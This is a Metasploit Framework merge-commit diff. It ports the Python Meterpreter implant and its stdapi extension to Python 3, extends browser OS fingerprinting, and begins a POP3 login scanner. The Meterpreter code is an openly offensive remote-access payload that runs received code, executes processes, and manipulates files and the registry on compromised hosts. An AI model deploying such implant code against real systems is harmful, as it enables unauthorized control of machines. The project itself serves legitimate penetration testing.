Merge branch 'staging/electro-release' into feature/MSP-9653/use-metasploit-concern-in-pro

MSP-9653

Conflicts:
	Gemfile
	Gemfile.lock
bug/bundler_fix
Luke Imhoff 2014-06-05 16:22:02 -05:00
commit f2a56c041b
No known key found for this signature in database
GPG Key ID: 5B1FB01FB33356F8
39 changed files with 1022 additions and 367 deletions

View File

@ -50,7 +50,7 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940)
#### New Modules
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb).
* **Do** use the [many module mixin APIs](https://dev.metasploit.com/documents/api/). Wheel improvements are welcome; wheel reinventions, not so much.
* **Do** use the [many module mixin APIs](https://dev.metasploit.com/api/). Wheel improvements are welcome; wheel reinventions, not so much.
* **Don't** include more than one module per pull request.
#### Library Code

Binary file not shown.

Binary file not shown.

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -20,6 +20,7 @@ arch_armle = "armle";
arch_x86 = "x86";
arch_x86_64 = "x86_64";
arch_ppc = "ppc";
arch_mipsle = "mipsle";
window.os_detect = {};
@ -184,9 +185,15 @@ window.os_detect.getVersion = function(){
} else if (platform.match(/arm/)) {
// Android and maemo
arch = arch_armle;
if (navigator.userAgent.match(/android/i)) {
os_flavor = 'Android';
}
} else if (platform.match(/x86/)) {
arch = arch_x86;
} else if (platform.match(/mips/)) {
arch = arch_mipsle;
}
if (navigator.userAgent.match(/android/i)) {
os_flavor = 'Android';
}
} else if (platform.match(/windows/)) {
os_name = oses_windows;

View File

@ -48,6 +48,24 @@ try:
except ImportError:
has_winreg = False
try:
import winreg
has_winreg = True
except ImportError:
has_winreg = (has_winreg or False)
if sys.version_info[0] < 3:
is_str = lambda obj: issubclass(obj.__class__, str)
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
else:
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
str = lambda x: __builtins__['str'](x, 'UTF-8')
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
if has_ctypes:
#
# Windows Structures
@ -498,11 +516,12 @@ def get_stat_buffer(path):
blocks = si.st_blocks
st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
st_buf += struct.pack('<IIII', si.st_size, si.st_atime, si.st_mtime, si.st_ctime)
st_buf += struct.pack('<IIII', si.st_size, long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
st_buf += struct.pack('<II', blksize, blocks)
return st_buf
def netlink_request(req_type):
import select
# See RFC 3549
NLM_F_REQUEST = 0x0001
NLM_F_ROOT = 0x0100
@ -513,17 +532,25 @@ def netlink_request(req_type):
sock.bind((os.getpid(), 0))
seq = int(time.time())
nlmsg = struct.pack('IHHIIB15x', 32, req_type, (NLM_F_REQUEST | NLM_F_ROOT), seq, 0, socket.AF_UNSPEC)
sfd = os.fdopen(sock.fileno(), 'w+b')
sfd.write(nlmsg)
sock.send(nlmsg)
responses = []
response = cstruct_unpack(NLMSGHDR, sfd.read(ctypes.sizeof(NLMSGHDR)))
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
return responses
raw_response_data = sock.recv(0xfffff)
response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
while response.type != NLMSG_DONE:
if response.type == NLMSG_ERROR:
break
response_data = sfd.read(response.len - 16)
response_data = raw_response_data[:(response.len - 16)]
responses.append(response_data)
response = cstruct_unpack(NLMSGHDR, sfd.read(ctypes.sizeof(NLMSGHDR)))
sfd.close()
raw_response_data = raw_response_data[len(response_data):]
if not len(raw_response_data):
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
break
raw_response_data = sock.recv(0xfffff)
response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
sock.close()
return responses
@ -559,7 +586,7 @@ def channel_open_stdapi_fs_file(request, response):
else:
fmode = 'rb'
file_h = open(fpath, fmode)
channel_id = meterpreter.add_channel(file_h)
channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response
@ -675,6 +702,7 @@ def stdapi_sys_process_execute(request, response):
proc_h.stderr = open(os.devnull, 'rb')
else:
proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
proc_h.echo_protection = True
proc_h.start()
else:
proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
@ -693,15 +721,15 @@ def stdapi_sys_process_getpid(request, response):
def stdapi_sys_process_get_processes_via_proc(request, response):
for pid in os.listdir('/proc'):
pgroup = ''
pgroup = bytes()
if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit():
continue
cmd = open(os.path.join('/proc', pid, 'cmdline'), 'rb').read(512).replace('\x00', ' ')
status_data = open(os.path.join('/proc', pid, 'status'), 'rb').read()
cmdline_file = open(os.path.join('/proc', pid, 'cmdline'), 'rb')
cmd = str(cmdline_file.read(512).replace(NULL_BYTE, bytes(' ', 'UTF-8')))
status_data = str(open(os.path.join('/proc', pid, 'status'), 'rb').read())
status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
status_data = filter(lambda x: len(x) == 2, status_data)
status = {}
for k, v in status_data:
for k, v in filter(lambda x: len(x) == 2, status_data):
status[k[:-1]] = v.strip()
ppid = status.get('PPid')
uid = status.get('Uid').split('\t', 1)[0]
@ -725,14 +753,14 @@ def stdapi_sys_process_get_processes_via_proc(request, response):
def stdapi_sys_process_get_processes_via_ps(request, response):
ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command']
proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
ps_output = proc_h.stdout.read()
ps_output = str(proc_h.stdout.read())
ps_output = ps_output.split('\n')
ps_output.pop(0)
for process in ps_output:
process = process.split()
if len(process) < 4:
break
pgroup = ''
pgroup = bytes()
pgroup += tlv_pack(TLV_TYPE_PID, int(process[0]))
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1]))
pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2])
@ -793,7 +821,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
use = ctypes.c_ulong()
use.value = 0
ctypes.windll.advapi32.LookupAccountSidA(None, user_tkn.Sid, username, ctypes.byref(u_len), domain, ctypes.byref(d_len), ctypes.byref(use))
complete_username = ctypes.string_at(domain) + '\\' + ctypes.string_at(username)
complete_username = str(ctypes.string_at(domain)) + '\\' + str(ctypes.string_at(username))
k32.CloseHandle(tkn_h)
parch = windll_GetNativeSystemInfo()
is_wow64 = ctypes.c_ubyte()
@ -802,7 +830,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)):
if is_wow64.value:
parch = PROCESS_ARCH_X86
pgroup = ''
pgroup = bytes()
pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
pgroup += tlv_pack(TLV_TYPE_USER_NAME, complete_username)
@ -850,16 +878,18 @@ def stdapi_fs_delete_dir(request, response):
@meterpreter.register_function
def stdapi_fs_delete_file(request, response):
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
os.unlink(file_path)
if os.path.exists(file_path):
os.unlink(file_path)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_file_expand_path(request, response):
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
if has_windll:
path_tlv = ctypes.create_string_buffer(bytes(path_tlv, 'UTF-8'))
path_out = (ctypes.c_char * 4096)()
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
result = ''.join(path_out)[:path_out_len]
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(ctypes.byref(path_tlv), ctypes.byref(path_out), ctypes.sizeof(path_out))
result = str(ctypes.string_at(path_out))
elif path_tlv == '%COMSPEC%':
result = '/bin/sh'
elif path_tlv in ['%TEMP%', '%TMP%']:
@ -912,7 +942,8 @@ def stdapi_fs_md5(request, response):
@meterpreter.register_function
def stdapi_fs_mkdir(request, response):
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
os.mkdir(dir_path)
if not os.path.isdir(dir_path):
os.mkdir(dir_path)
return ERROR_SUCCESS, response
@meterpreter.register_function
@ -965,7 +996,7 @@ def stdapi_fs_stat(request, response):
@meterpreter.register_function
def stdapi_net_config_get_interfaces(request, response):
if hasattr(socket, 'AF_NETLINK'):
if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'):
interfaces = stdapi_net_config_get_interfaces_via_netlink()
elif has_osxsc:
interfaces = stdapi_net_config_get_interfaces_via_osxsc()
@ -974,7 +1005,7 @@ def stdapi_net_config_get_interfaces(request, response):
else:
return ERROR_FAILURE, response
for iface_info in interfaces:
iface_tlv = ''
iface_tlv = bytes()
iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown'))
iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00'))
if 'mtu' in iface_info:
@ -1002,7 +1033,7 @@ def stdapi_net_config_get_interfaces_via_netlink():
0x0100: 'PROMISC',
0x1000: 'MULTICAST'
}
iface_flags_sorted = iface_flags.keys()
iface_flags_sorted = list(iface_flags.keys())
# Dictionaries don't maintain order
iface_flags_sorted.sort()
interfaces = {}
@ -1106,7 +1137,7 @@ def stdapi_net_config_get_interfaces_via_osxsc():
hw_addr = hw_addr.replace(':', '')
hw_addr = hw_addr.decode('hex')
iface_info['hw_addr'] = hw_addr
ifnames = interfaces.keys()
ifnames = list(interfaces.keys())
ifnames.sort()
for iface_name, iface_info in interfaces.items():
iface_info['index'] = ifnames.index(iface_name)
@ -1138,7 +1169,10 @@ def stdapi_net_config_get_interfaces_via_windll():
iface_info['index'] = AdapterAddresses.u.s.IfIndex
if AdapterAddresses.PhysicalAddressLength:
iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength)
iface_info['name'] = str(ctypes.wstring_at(AdapterAddresses.Description))
iface_desc = ctypes.wstring_at(AdapterAddresses.Description)
if not is_str(iface_desc):
iface_desc = str(iface_desc)
iface_info['name'] = iface_desc
iface_info['mtu'] = AdapterAddresses.Mtu
pUniAddr = AdapterAddresses.FirstUnicastAddress
while pUniAddr:
@ -1174,7 +1208,7 @@ def stdapi_net_config_get_interfaces_via_windll_mib():
table_data = ctypes.string_at(table, pdwSize.value)
entries = struct.unpack('I', table_data[:4])[0]
table_data = table_data[4:]
for i in xrange(entries):
for i in range(entries):
addrrow = cstruct_unpack(MIB_IPADDRROW, table_data)
ifrow = MIB_IFROW()
ifrow.dwIndex = addrrow.dwIndex
@ -1244,9 +1278,10 @@ def stdapi_registry_close_key(request, response):
def stdapi_registry_create_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
res_key = ctypes.c_void_p()
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, base_key, 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, ctypes.byref(base_key), 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
@ -1255,18 +1290,20 @@ def stdapi_registry_create_key(request, response):
def stdapi_registry_delete_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value']
if (flags & DELETE_KEY_FLAG_RECURSIVE):
result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, base_key)
result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, ctypes.byref(base_key))
else:
result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, base_key)
result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, ctypes.byref(base_key))
return result, response
@meterpreter.register_function_windll
def stdapi_registry_delete_value(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, value_name)
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
return result, response
@meterpreter.register_function_windll
@ -1335,9 +1372,10 @@ def stdapi_registry_load_key(request, response):
def stdapi_registry_open_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
handle_id = ctypes.c_void_p()
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, base_key, 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
@ -1367,24 +1405,26 @@ def stdapi_registry_query_class(request, response):
@meterpreter.register_function_windll
def stdapi_registry_query_value(request, response):
REG_SZ = 1
REG_DWORD = 4
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
value_type = ctypes.c_uint32()
value_type.value = 0
value_data = (ctypes.c_ubyte * 4096)()
value_data_sz = ctypes.c_uint32()
value_data_sz.value = ctypes.sizeof(value_data)
result = ctypes.windll.advapi32.RegQueryValueExA(hkey, value_name, 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
result = ctypes.windll.advapi32.RegQueryValueExA(hkey, ctypes.byref(value_name), 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
if result == ERROR_SUCCESS:
response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value)
if value_type.value == REG_SZ:
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00')
elif value_type.value == REG_DWORD:
if value_type.value == winreg.REG_SZ:
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + NULL_BYTE)
elif value_type.value == winreg.REG_DWORD:
value = value_data[:4]
value.reverse()
value = ''.join(map(chr, value))
if sys.version_info[0] < 3:
value = ''.join(map(chr, value))
else:
value = bytes(value)
response += tlv_pack(TLV_TYPE_VALUE_DATA, value)
else:
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value))
@ -1395,9 +1435,10 @@ def stdapi_registry_query_value(request, response):
def stdapi_registry_set_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
result = ctypes.windll.advapi32.RegSetValueExA(hkey, value_name, 0, value_type, value_data, len(value_data))
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
return result, response
@meterpreter.register_function_windll

Binary file not shown.

View File

@ -1,12 +1,5 @@
#!/usr/bin/python
import code
try:
import ctypes
except:
has_windll = False
else:
has_windll = hasattr(ctypes, 'windll')
import os
import random
import select
@ -15,10 +8,30 @@ import struct
import subprocess
import sys
import threading
import time
import traceback
try:
import ctypes
except ImportError:
has_windll = False
else:
has_windll = hasattr(ctypes, 'windll')
if sys.version_info[0] < 3:
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
else:
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
str = lambda x: __builtins__['str'](x, 'UTF-8')
NULL_BYTE = bytes('\x00', 'UTF-8')
#
# Constants
#
DEBUGGING = False
PACKET_TYPE_REQUEST = 0
PACKET_TYPE_RESPONSE = 1
PACKET_TYPE_PLAIN_REQUEST = 10
@ -100,6 +113,7 @@ TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
EXPORTED_SYMBOLS = {}
EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING
def export(symbol):
EXPORTED_SYMBOLS[symbol.__name__] = symbol
@ -107,7 +121,7 @@ def export(symbol):
def generate_request_id():
chars = 'abcdefghijklmnopqrstuvwxyz'
return ''.join(random.choice(chars) for x in xrange(32))
return ''.join(random.choice(chars) for x in range(32))
@export
def inet_pton(family, address):
@ -125,25 +139,6 @@ def inet_pton(family, address):
return ''.join(map(chr, lpAddress[8:24]))
raise Exception('no suitable inet_pton functionality is available')
@export
def packet_get_tlv(pkt, tlv_type):
offset = 0
while (offset < len(pkt)):
tlv = struct.unpack('>II', pkt[offset:offset+8])
if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type:
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
val = val.split('\x00', 1)[0]
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
val = struct.unpack('>I', val)[0]
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
val = bool(struct.unpack('b', val)[0])
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
pass
return {'type':tlv[1], 'length':tlv[0], 'value':val}
offset += tlv[0]
return {}
@export
def packet_enum_tlvs(pkt, tlv_type = None):
offset = 0
@ -152,7 +147,7 @@ def packet_enum_tlvs(pkt, tlv_type = None):
if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type):
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
val = val.split('\x00', 1)[0]
val = str(val.split(NULL_BYTE, 1)[0])
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
val = struct.unpack('>I', val)[0]
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
@ -163,6 +158,14 @@ def packet_enum_tlvs(pkt, tlv_type = None):
offset += tlv[0]
raise StopIteration()
@export
def packet_get_tlv(pkt, tlv_type):
try:
tlv = list(packet_enum_tlvs(pkt, tlv_type))[0]
except IndexError:
return {}
return tlv
@export
def tlv_pack(*args):
if len(args) == 2:
@ -170,20 +173,33 @@ def tlv_pack(*args):
else:
tlv = args[0]
data = ""
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00'
elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
data = struct.pack('>III', 12, tlv['type'], tlv['value'])
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value'])))
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
else:
value = tlv['value']
if not is_bytes(value):
value = bytes(value, 'UTF-8')
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
return data
#@export
class MeterpreterFile(object):
def __init__(self, file_obj):
self.file_obj = file_obj
def __getattr__(self, name):
return getattr(self.file_obj, name)
export(MeterpreterFile)
#@export
class MeterpreterSocket(object):
def __init__(self, sock):
@ -208,11 +224,11 @@ class STDProcessBuffer(threading.Thread):
threading.Thread.__init__(self)
self.std = std
self.is_alive = is_alive
self.data = ''
self.data = bytes()
self.data_lock = threading.RLock()
def run(self):
for byte in iter(lambda: self.std.read(1), ''):
for byte in iter(lambda: self.std.read(1), bytes()):
self.data_lock.acquire()
self.data += byte
self.data_lock.release()
@ -220,15 +236,20 @@ class STDProcessBuffer(threading.Thread):
def is_read_ready(self):
return len(self.data) != 0
def read(self, l = None):
data = ''
def peek(self, l = None):
data = bytes()
self.data_lock.acquire()
if l == None:
data = self.data
self.data = ''
else:
data = self.data[0:l]
self.data = self.data[l:]
self.data_lock.release()
return data
def read(self, l = None):
self.data_lock.acquire()
data = self.peek(l)
self.data = self.data[len(data):]
self.data_lock.release()
return data
@ -236,12 +257,25 @@ class STDProcessBuffer(threading.Thread):
class STDProcess(subprocess.Popen):
def __init__(self, *args, **kwargs):
subprocess.Popen.__init__(self, *args, **kwargs)
self.echo_protection = False
def start(self):
self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
self.stdout_reader.start()
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
self.stderr_reader.start()
def write(self, channel_data):
self.stdin.write(channel_data)
self.stdin.flush()
if self.echo_protection:
end_time = time.time() + 0.5
out_data = bytes()
while (time.time() < end_time) and (out_data != channel_data):
if self.stdout_reader.is_read_ready():
out_data = self.stdout_reader.peek(len(channel_data))
if out_data == channel_data:
self.stdout_reader.read(len(channel_data))
export(STDProcess)
class PythonMeterpreter(object):
@ -251,7 +285,7 @@ class PythonMeterpreter(object):
self.channels = {}
self.interact_channels = []
self.processes = {}
for func in filter(lambda x: x.startswith('_core'), dir(self)):
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
self.extension_functions[func[1:]] = getattr(self, func)
self.running = True
@ -265,6 +299,7 @@ class PythonMeterpreter(object):
return func
def add_channel(self, channel):
assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket)))
idx = 0
while idx in self.channels:
idx += 1
@ -286,7 +321,7 @@ class PythonMeterpreter(object):
break
req_length, req_type = struct.unpack('>II', request)
req_length -= 8
request = ''
request = bytes()
while len(request) < req_length:
request += self.socket.recv(4096)
response = self.create_response(request)
@ -294,17 +329,17 @@ class PythonMeterpreter(object):
else:
channels_for_removal = []
# iterate over the keys because self.channels could be modified if one is closed
channel_ids = self.channels.keys()
channel_ids = list(self.channels.keys())
for channel_id in channel_ids:
channel = self.channels[channel_id]
data = ''
data = bytes()
if isinstance(channel, STDProcess):
if not channel_id in self.interact_channels:
continue
if channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read()
elif channel.stderr_reader.is_read_ready():
if channel.stderr_reader.is_read_ready():
data = channel.stderr_reader.read()
elif channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read()
elif channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
elif isinstance(channel, MeterpreterSocketClient):
@ -312,7 +347,7 @@ class PythonMeterpreter(object):
try:
d = channel.recv(1)
except socket.error:
d = ''
d = bytes()
if len(d) == 0:
self.handle_dead_resource_channel(channel_id)
break
@ -357,13 +392,13 @@ class PythonMeterpreter(object):
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
return ERROR_FAILURE
preloadlib_methods = self.extension_functions.keys()
preloadlib_methods = list(self.extension_functions.keys())
symbols_for_extensions = {'meterpreter':self}
symbols_for_extensions.update(EXPORTED_SYMBOLS)
i = code.InteractiveInterpreter(symbols_for_extensions)
i.runcode(compile(data_tlv['value'], '', 'exec'))
postloadlib_methods = self.extension_functions.keys()
new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods)
postloadlib_methods = list(self.extension_functions.keys())
new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods))
for method in new_methods:
response += tlv_pack(TLV_TYPE_METHOD, method)
return ERROR_SUCCESS, response
@ -386,10 +421,10 @@ class PythonMeterpreter(object):
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
if isinstance(channel, file):
channel.close()
elif isinstance(channel, subprocess.Popen):
if isinstance(channel, subprocess.Popen):
channel.kill()
elif isinstance(channel, MeterpreterFile):
channel.close()
elif isinstance(channel, MeterpreterSocket):
channel.close()
else:
@ -405,7 +440,7 @@ class PythonMeterpreter(object):
return ERROR_FAILURE, response
channel = self.channels[channel_id]
result = False
if isinstance(channel, file):
if isinstance(channel, MeterpreterFile):
result = channel.tell() >= os.fstat(channel.fileno()).st_size
response += tlv_pack(TLV_TYPE_BOOL, result)
return ERROR_SUCCESS, response
@ -432,13 +467,13 @@ class PythonMeterpreter(object):
return ERROR_FAILURE, response
channel = self.channels[channel_id]
data = ''
if isinstance(channel, file):
data = channel.read(length)
elif isinstance(channel, STDProcess):
if isinstance(channel, STDProcess):
if channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
if channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read(length)
elif isinstance(channel, MeterpreterFile):
data = channel.read(length)
elif isinstance(channel, MeterpreterSocket):
data = channel.recv(length)
else:
@ -454,13 +489,13 @@ class PythonMeterpreter(object):
return ERROR_FAILURE, response
channel = self.channels[channel_id]
l = len(channel_data)
if isinstance(channel, file):
channel.write(channel_data)
elif isinstance(channel, subprocess.Popen):
if isinstance(channel, subprocess.Popen):
if channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
return ERROR_FAILURE, response
channel.stdin.write(channel_data)
channel.write(channel_data)
elif isinstance(channel, MeterpreterFile):
channel.write(channel_data)
elif isinstance(channel, MeterpreterSocket):
try:
l = channel.send(channel_data)
@ -485,13 +520,17 @@ class PythonMeterpreter(object):
if handler_name in self.extension_functions:
handler = self.extension_functions[handler_name]
try:
#print("[*] running method {0}".format(handler_name))
if DEBUGGING:
print('[*] running method ' + handler_name)
result, resp = handler(request, resp)
except Exception, err:
#print("[-] method {0} resulted in an error".format(handler_name))
except Exception:
if DEBUGGING:
print('[-] method ' + handler_name + ' resulted in an error')
traceback.print_exc(file=sys.stderr)
result = ERROR_FAILURE
else:
#print("[-] method {0} was requested but does not exist".format(handler_name))
if DEBUGGING:
print('[-] method ' + handler_name + ' was requested but does not exist')
result = ERROR_FAILURE
resp += tlv_pack(TLV_TYPE_RESULT, result)
resp = struct.pack('>I', len(resp) + 4) + resp
@ -499,6 +538,9 @@ class PythonMeterpreter(object):
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
if hasattr(os, 'setsid'):
os.setsid()
try:
os.setsid()
except OSError:
pass
met = PythonMeterpreter(s)
met.run()

View File

@ -0,0 +1,75 @@
require 'metasploit/framework/login_scanner/base'
require 'metasploit/framework/login_scanner/rex_socket'
require 'metasploit/framework/tcp/client'
module Metasploit
module Framework
module LoginScanner
# This is the LoginScanner class for dealing with POP3.
# It is responsible for taking a single target, and a list of credentials
# and attempting them. It then saves the results.
class POP3
include Metasploit::Framework::LoginScanner::Base
include Metasploit::Framework::LoginScanner::RexSocket
